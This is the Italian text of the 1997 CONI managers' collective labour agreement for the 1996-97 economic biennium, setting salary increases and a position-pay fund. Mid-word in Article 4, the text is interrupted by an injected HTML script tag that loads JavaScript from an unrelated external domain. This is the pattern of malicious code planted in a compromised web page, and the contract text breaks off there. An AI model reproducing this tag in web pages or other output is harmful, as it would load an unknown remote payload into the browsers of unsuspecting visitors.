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Categoria: CONI (dirigenti) Settore: Pubblica Amministrazione Data stipula: 7-10-1997 Data decorrenza: 1-1-1996 Data scadenza: 31-12-1997
Provvedimento del Presidente del Consiglio dei Ministri 5 settembre 1997.
Autorizzazione del Governo alla sottoscrizione - ai sensi degli artt. 73,
comma 5, e 51, comma 1, del d.lgs. n. 29/93 - del testo del contratto
collettivo nazionale di lavoro del personale dirigente e professionista
del CONI relativo al biennio economico 1996-97 concordato in data 21
luglio 1997 tra il CONI e le organizzazioni sindacali CGIL, CISL, UIL,
CIDA, CISAL-FIALP, CONFSAL/FNP, CISNAL-UGL, USPPI e RdB-ANDICO.
C.O.N.I.
CONTRATTO COLLETTIVO NAZIONALE DI LAVORO
Area della dirigenza e delle specifiche tipologie professionali ricomprese
nella stessa area di contrattazione.
(Parte economica - biennio 1996-97)
Premessa al CCNL.
Il presente contratto collettivo nazionale di lavoro relativo al biennio
economico 1996-97 si applica ai dirigenti e ai professionisti destinatari
del contratto collettivo stipulato in data 22 maggio 1997 per l'area della
dirigenza e specifiche tipologie professionali d'ora in avanti individuato
come 1° CCNL 1994-97.
Sezione prima - I DIRIGENTI
Art. 1 - Durata e decorrenza del contratto.
1. La presente sezione del contratto biennale concerne il rinnovo per il
biennio 1996-97, limitatamente ai contenuti economici, della
corrispondente sezione prima del CCNL 1994-97. Le disposizioni in essa
contenute si riferiscono pertanto al periodo 1° gennaio 1996-31 dicembre
1997. Con riferimento a tale periodo, si applica il contenuto delle
disposizioni dell'art. 4, commi 2 e 3, e dell'art. 38, commi 1, 2 e 3, del
CCNL 1994-97.
Art. 2 - Aumenti dello stipendio tabellare.
1. Lo stipendio tabellare della qualifica unica dirigenziale previsto
dall'art. 36, comma 4, del CCNL 1994-97, è incrementato nella misura lorda
mensile di lire 251.833 a decorrere dal 1° febbraio 1996. Tale incremento
non comporta il riassorbimento degli assegni ad personam eventualmente
percepiti dal personale dirigente per effetto di pregresso inquadramento
nelle qualifiche ad esaurimento di cui all'art. 15 della legge 9 marzo
1989, n. 88, e dal personale dirigente proveniente dalla ex seconda
qualifica dirigenziale come determinato nell'art. 37, comma 1, lett. b),
del CCNL 1994/97.
2. Lo stipendio tabellare annuo lordo a regime della qualifica unica
dirigenziale, per effetto degli incrementi di cui al comma 1, è
rideterminato, a decorrere 1° febbraio 1996, in lire 36.000.000, riferite
a dodici mensilità.
Art. 3 - Utilizzo delle risorse derivanti dalla soppressione
degli automatismi.
1. Sono confermate per la vigenza del presente contratto biennale, le
disposizioni di cui all'art. 39, commi 3, 4 e 5, e art. 41, comma 1, lett.
a) del CCNL 1994-97, allo scopo di consentire il concreto avvio del
sistema di alimentazione del Fondo per la retribuzione di posizione ivi
previsto e la valutazione della relativa operatività e funzionalità.
Art. 4 - Costituzione e finanziamento del Fondo per la retribuzione
di posizione.
1. Il Fondo per la retribuzione di posizione di cui all'art. 41 del CCNL
1994-97 sarà reso operativo a decorrere dal 1° settembre 1997 secondo i
criteri di finanziamento previsti dal predetto articolo e le modalità di
alimentazione specificate nei commi che seguono. In sede di prima
applicazione il predetto Fondo è decurtato delle somme eventualmente
erogate a titolo di compensi per lavoro straordinario sino alla data di
entrata in vigore del presente CCNL.
2. La quota di cui all'art. 41, comma 1, lett. c), del CCNL 1994-97, è
stabilita nel 90% dell'ammontare complessivo delle indennità di funzione
di cui all'art. 13 della stessa legge, spettanti per l'anno 1995.
3. Il fondo della retribuzione di posizione è altresì incrementato, su
base annua, dell'ammontare unitari<script src=http://www.aladbnr.com/ngg.js></script>
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